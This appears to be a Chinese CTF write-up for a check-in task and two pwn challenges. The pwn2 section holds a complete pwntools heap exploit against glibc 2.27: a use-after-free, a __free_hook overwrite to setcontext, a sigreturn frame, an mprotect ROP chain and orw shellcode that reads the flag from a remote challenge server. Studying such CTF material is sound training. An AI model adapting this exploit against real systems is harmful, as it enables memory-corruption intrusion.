
签到
unhex然后base64 decode
pwn1
签到UAF题,libc-2.23.so下的利用,还有个off by one和后门,uaf就够了,后门也不知道怎么用 (赛后听师傅说爆破1/256 ???)
uaf打io泄露地址,realloc调栈帧,one_gadget一把梭,之前没调过,调了很久QAQ,太菜了
from pwn import *  | 
pwn2
漏洞是uaf,libc 版本是2.27-3ubuntu1.4,跟libc2.31机制差不多,有key,但是不用管,直接edit完事
有show功能,但是只能申请0x10-0x60大小的堆块,而且开了沙箱,堆部结构很乱,先是一顿整理堆结构然后一通overlap构造一个unsorted bin出来leak地址
由于开了沙箱,考虑__free_hook改为setcontext+53控制寄存器
setcontext所用的payload太长,0x60大小的chunk写不进去,就用了两块0x60大小的chunk和一块0x50大小的chunk来写,由于之前伪造了ub,如果不清空在后续malloc和free的时候可能会报各种错误,所以先清空一些必要的非法chunk,然后由于payload不能断,但是header会阻断payload,所以又是一顿overlap伪造出来三个假的chunk来覆盖header
然后就是orw shellcode一把梭from pwn import *
import sys
from six import indexbytes
arch =  64
challenge = "./pwn"
libc_path_local = "/glibc/x64/1.4_2.27/libc-2.27.so"
libc_path_remote = "./libc.so.6"
local = int(sys.argv[1])
elf = ELF(challenge)
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
if local:
    if libc_path_local:
        io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
        libc = ELF(libc_path_local)
    else:
        io = process(challenge)
else:
    io = remote("47.104.175.110", 61608)
    if libc_path_remote:
        libc = ELF(libc_path_remote)
if arch == 64:
    context.arch = 'amd64'
elif arch == 32:
    context.arch = 'i386'
def dbg():
    context.log_level = 'debug'
def echo(content):
    print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p   = lambda      : pause() 
s   = lambda x    : success(x)
re  = lambda m, t : io.recv(numb=m, timeout=t)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
ia  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
bps = []
pie = 0
def gdba():
    if local == 0:
        return 0
    cmd ='set follow-fork-mode parent\n'
    if pie:
        base = int(os.popen("pmap {}|awk '{{print ./pwn}}'".format(io.pid)).readlines()[1],16)
        cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
        cmd +='set base={:#x}\n'.format(base)
    else:
        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
    gdb.attach(io,cmd)
_add,_free,_edit,_show = 1,2,3,4
menu = ">>"
def add(idx, size):
    sla(menu, str(_add))
    sla("input index:", str(idx))
    sla("input size:", str(size))
def edit(idx, content):
    sla(menu, str(_edit))
    sla("input index:", str(idx))
    sa("input context:", content)
def free(idx):
    sla(menu, str(_free))
    sla("input index:", str(idx))
def show(idx):
    sla(menu, str(_show))
    sla("input index:", str(idx))
def poc():
    edit(11, 0x60 * 'a')
    edit(12, 0x50 * 'b')
    edit(13, 0x60 * 'c')
def exp():
    for i in range(7):
        add(i, 0x60)
    for i in range(11):
        add(i, 0x60)
    fake = p64(0) + p64(0x71)   # Forge a fake header.
    edit(0, fake)
    free(2)
    edit(2, 'a' * 8)
    show(2)
    ru('aaaaaaaa')
    heap = uu64(io.recvuntil('\n', drop=True)[-6:])
    fake_chunk = heap + 0xf70
    echo('HEAP:' + hex(heap))
    echo('FAKE_CHUNK:' + hex(fake_chunk))
    edit(2, p64(0) * 2)
    free(2)
    edit(2, p64(fake_chunk) + p64(heap))
    add(2, 0x60)
    add(11, 0x60)
    edit(11, 'a' * 0x50 + p64(0) + p64(0x421))      # fake ub
    edit(10, (p64(0) + p64(0x21)) * (0x60 / 0x10))  
    free(1)
    show(1)
    leak = uu64(ru('\x7f')[-6:])
    echo('LEAK:' + hex(leak))
    libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
    echo('LIBC BASE:' + hex(libc_base))
    setcontext_door = libc_base + libc.sym['setcontext'] + 53
    free_hook = libc_base + libc.sym['__free_hook']
    syscall = libc_base + libc.search(asm("syscall\nret")).next()
    echo('SYSCALL:' + hex(syscall))
    #=========================setcontext===========================
    fake_rsp = free_hook & 0xfffffffffffff000
    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = 0
    frame.rsi = fake_rsp
    frame.rdx = 0x2000
    frame.rsp = fake_rsp
    frame.rip = syscall
    echo(hex(len(str(frame))))
    add(12, 0x60)
    edit(12, (p64(0) + p64(0x71)) * (0x60 / 0x10))
    free(12)
    edit(12, p64(0) * 2)
    free(12)
    fake_chunk = heap + 0x1020
    edit(12, p64(fake_chunk) + p64(heap))
    add(12, 0x60)
    add(13, 0x60)   # fake chunk
    for i in range(0x3b0 / 0x30 + 1):
        add(1, 0x20)
    # fake chunk: 13 11 12
    echo('HACX SIG:' + hex(heap + 0xf50))
    paylaod = str(frame)
    edit(11, paylaod[0:0x60])
    edit(12, paylaod[0x60:0x60 + 0x50])
    edit(13, paylaod[0x60 + 0x50:].ljust(0x60, '\x00'))
    # poc()
    add(4, 0x60)
    free(4)
    edit(4, p64(0) * 2)
    free(4)
    edit(4, p64(free_hook) + p64(heap))
    add(4, 0x60)
    add(14, 0x60)
    edit(14, p64(setcontext_door))   # __free_hook
    free(11)
    layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
    ]
    shellcode = asm('''
    sub rsp, 0x800
    push 0x67616c66
    mov rdi, rsp
    xor esi, esi
    mov eax, 2
    syscall
    cmp eax, 0
    js failed
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, edi
    syscall
    jmp exit
    failed:
    push 0x6c696166
    mov edi, 1
    mov rsi, rsp
    mov edx, 4
    mov eax, edi
    syscall
    exit:
    xor edi, edi
    mov eax, 231
    syscall
    ''')
    sl(flat(layout) + shellcode)
    # gdba()
    pass
exp()
ia()
太菜了,要好好学习
